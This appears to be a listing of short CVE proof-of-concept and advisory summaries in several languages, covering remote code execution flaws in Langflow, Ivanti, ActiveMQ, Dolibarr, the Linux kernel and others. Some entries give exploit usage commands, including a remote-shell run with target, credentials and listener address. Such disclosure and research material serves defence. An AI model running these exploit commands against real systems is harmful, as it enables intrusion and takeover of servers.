cve-2025-59489

Unity CVE-2025-59489 脆弱性検出ツール Android ゲームプラットフォーム専用の Unity Runtime インジェクション脆弱性自動検出ツール。 脆弱性概要 CVE ID : CVE-2025-59489 CVSS スコア : 8.4 High 影響範囲 : Unity 2017.1 以降でビルドされた Android アプリ 公式発表 : https://unity.com/security/sept-2025-01 脆弱性の影響詳細 影響の上限（最悪のケース） 一言でまとめると ：攻撃者は影響を受ける Unity...

CVE-2021-44529

CVE-2021-44529 CVE-2021-44529 Ivanti EPM 云服务设备 CSA 中的代码注入漏洞允许未经身份验证的用户以有限的权限（nobody）执行任意代码。...

CVE-2026-33017-Exploit

CVE-2026-33017 - Langflow 未認証RCE / \ | | \ ^ / ||||| 認証なしのexec、サンドボックスなし、希望なし。 Langflow chat.py - startflowbuild - buildgraphfromdata - Graph.frompayload - loading.py - eval.py createclass - validate.py prepareglobalscope - execcompiledcode - 任意のコードがサーバープロセスとして実行される。ゲームオーバー。 インストール git clone...

CVE-2026-27574-OneUptime-RCE

CVE-2026-27574-OneUptime-RCE 概要 CVE-2026-27574 の概念実証エクスプロイト – OneUptime B登録を開く B -- C新しいアカウントを登録 C -- D新しいプロジェクトを作成 D -- EProjectMember ロールを取得 E -- Fカスタム JavaScript モニターを作成 F -- G悪意のある vm エスケープペイロードを注入 G -- Hプローブが約60秒ごとにコードを実行 H -- Iコンストラクタチェーン経由で vm コンテキストをエスケープ...

CVE-2026-22785

CVE-2026-22785 再現チュートリアル 脆弱性の概要 CVE : CVE-2026-22785 影響 : orval = 7.18.0 CVSS : 9.3 CRITICAL タイプ : コードインジェクション 脆弱性の原理 orval 例 python cvetool.py shell whoami python cvetool.py shell "node --version" python cvetool.py shell dir ファイルのスキャン python cvetool.py scan 3. 出力の説明 + CVE-2026-22785: Payload 注入成...

CVE-2026-34197

CVE-2026-34197 — Apache ActiveMQ Classic の Jolokia API を介した RCE TL;DR Apache ActiveMQ Classic におけるリモートコード実行 の脆弱性です。攻撃者は Jolokia API（/api/jolokia/）を通じて addNetworkConnectorString MBean オペレーションを呼び出すことで、任意のコードを実行できます。攻撃者はリモートの Spring XML ファイルを指す悪意のある brokerConfig パラメータを埋め込み、ActiveMQ がそれを取得・解析して任意の Ja...

CVE-2026-22679

CVE-2026-22679: Weaver E-cology の未認証RCE（dubboApiデバッグエンドポイント経由） -critical TL;DR Weaver E-cology 10.0（ビルド20260312より前のバージョン）には、/papi/esearch/data/devops/dubboApi/debug/method エンドポイントに重大な未認証リモートコード実行の脆弱性が存在します。攻撃者は認証なしで interfaceName および methodName...

CVE-2021-46398_Chamilo-LMS-RCE

CVE-2021-46398 Chamilo-LMS 1.11.14 RCE Chamilo LMS v1.11.14には、細工されたプラグインを介して攻撃者が任意のコードを実行できるようにするゼロクリックコードインジェクションの脆弱性が存在することが発見されました。この脆弱性は、攻撃者のプロフィールページとのユーザー操作を通じてトリガーされます。 ワンクリック手法: 学生アカウントを持つ攻撃者は、悪意のあるWebページまたは悪意のあるSVG画像ファイルを作成し、そのファイルを学生プロフィールページの「My...

CVE-2025-62429

CVE-2025-62429 PoC - clipbucket RCE Proof-of-Concept for RCE via PHP Code Injection in updatelaunch.php Disclosure: Originally reported by me via GHSA-3h9c-7j8r-xc3v ⚠️ Authorized pentesting/research use only. Vulnerability Information Field| Value ---|--- CVE ID| CVE-2025-62429 Severity| 🔴 High...

CVE-2026-1281-Ivanti-EPMM-RCE

CVE-2026-1281 & CVE-2026-1340 - Ivanti EPMM Pre-Auth RCE ⚠️ 免責事項: このPoCは教育およびセキュリティ研究の目的のみで提供されています。明示的な許可なく使用することは違法です。 🎯 説明 Ivanti Endpoint Manager Mobile EPMM に影響を与える CVE-2026-1281 および CVE-2026-1340 の脆弱性を悪用するための完全な Proof of Concept PoC です。これらの脆弱性により、Bash Arithmetic Expansion...

LMDeploy vulnerable to arbitrary code execution via eval() of untrusted quant_dtype in model config loading

Summarylmdeploy = latest contains a code injection vulnerability in lmdeploy/pytorch/config.py line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted quantizationconfig.quantdtype value. When a user loads the model with lmdeplo...

CVE-2025-3248

CVE-2025-3248 Langflow は、主にAIエージェントやワークフローの構築・デプロイに使用されるローコードプラットフォームです。チャットボットやRAG（Retrieval-Augmented Generation）システムなどを含む複雑なAIアプリケーションを作成するためのビジュアルインターフェースを提供し、開発プロセスを簡素化します。 1.3.0 より前の Langflow バージョンは、/api/v1/validate/code エンドポイントにおけるコードインジェクションに対して脆弱です。リモートの認証されていない攻撃者が、巧妙に細工したHTTP...

CVE-2026-63720-datamodel-code-generator

CVE-2026-63720: 검증되지 않은 customBasePath를 통한 datamodel-code-generator 코드 주입 심각도: 높음, CVSS 3.1 7.5 / CVSS 4.0 7.5 CNA인 VulnCheck가 배정 환경적 상한네트워크 서비스 배포: 최대 9.8 벡터v4.0: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 벡터v3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H 영향 대상:...

CVE-2026-66748-Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field

보안 권고: Camaleon CMS - selecteval 사용자 정의 필드를 통한 인증된 RCE 지정 CVE ID: CVE-2026-66748 제품: Camaleon CMS https://github.com/owen2345/camaleon-cms 영향을 받는 버전: 2.1.1 – 2.9.1 커밋 415cbda6 2015-10-16에서 도입; 커밋 15882366 2026-03-29 / v2.9.2에서 수정 심각도: 높음 CVSS 4.0 점수: 8.7 CVSS 4.0 벡터:...

CVE-2026-8838-RCE

CVE-2026-8838 — Amazon Redshift Python Driver: eval을 통한 원격 코드 실행 ⚠️ 교육용으로만 사용하세요 오펜시브 사이버보안 연구 및 데모 프로젝트로, 오직 교육 및 인식 제고 목적으로만 수행되었습니다. 명시적 허가 없이 시스템에 사용하는 것은 불법입니다. 이 저장소는 다음에서만 사용해야 합니다: 통제된 실험실, 테스트 환경, CTF 플랫폼, 허가된 학습 환경. 여기에 제시된 취약점 시나리오는 교육적 데모 목적으로만 사용됩니다. 목차 설명 기술 세부사항 공격 벡터 개념 증명 PoC 영향...

CVE-2023-30253-exploit

CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 원격 코드 실행 PHP 코드 삽입 익스플로잇으로 Dolibarr ERP/CRM v17.0.0 에서 Website/CMS 모듈을 통해 www-data 사용자로 리버스 셸 을 획득할 수 있습니다. ⚠️ 교육 목적 및 승인된 감사에만 사용하세요. 📑 목차 CVE-2023-30253이란? 취약점 작동 방식 영향 이 익스플로잇의 기능 요구 사항 설치 사용법 실습 예제 익스플로잇 단계별 설명 완화 조치 참고 자료 🔍 CVE-2023-30253이란?...

CVE-2026-27384

CVE-2026-27384 CVE-2026-27384 — W3 Total Cache mfunc/eval RCE 스캐너 플러그인: W3 Total Cache 플러그인 슬러그: w3-total-cache CVE ID: CVE-2026-27384 CVSS 점수: 9.8 치명적 CVSS 벡터: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 취약점 유형: 인증되지 않은 임의 코드 실행 eval을 통한 코드 인젝션 영향받는 버전: W3TC는 캐시에서 페이지를 제공할 때 이러한 태그를 처리합니다: 삽입된...

CVE-2022-0847

CVE-2022-0847 Linuxカーネル5.8以降の脆弱性で、任意の読み取り専用ファイルのデータを上書きできる。これにより、権限のないプロセスがルートプロセスにコードを注入できるため、権限昇格が発生する。 コンパイル方法: gcc poc.c -o poc 使用方法: ./poc TARGETFILE OFFSET DATA 作者および詳細情報: https://dirtypipe.cm4all.com/...

CVE-2024-23346-rust-exploit

CVE-2024-23346을 위한 Rust 기반 익스플로잇 스크립트. 아래와 같이 POC는 코드 인젝션 취약점을 이용하여 터미널에서처럼 원격 셸 명령을 실행합니다. poc.webm 익스플로잇 실행 단계: Cargo로 직접 실행 cargo run -- --help cargo run -- --target http://10.10.11.38 --username "Admin" --password "Admin@123" --lhost 10.10.14.19 또는 바이너리 컴파일: cargo build -r 바이너리는...

Rocky Linux 8 [CIQ] Security Update: nodejs-nodemon / nodejs-packaging / nodejs-packaging-bundler Multiple Vulnerabilities (crlsa-2023_5869)

The Rocky Linux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ crlsa-20235869 advisory. HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack Rapid Reset Attack CVE-2023-44487 A Rocky Enterprise Software Foundation Securi...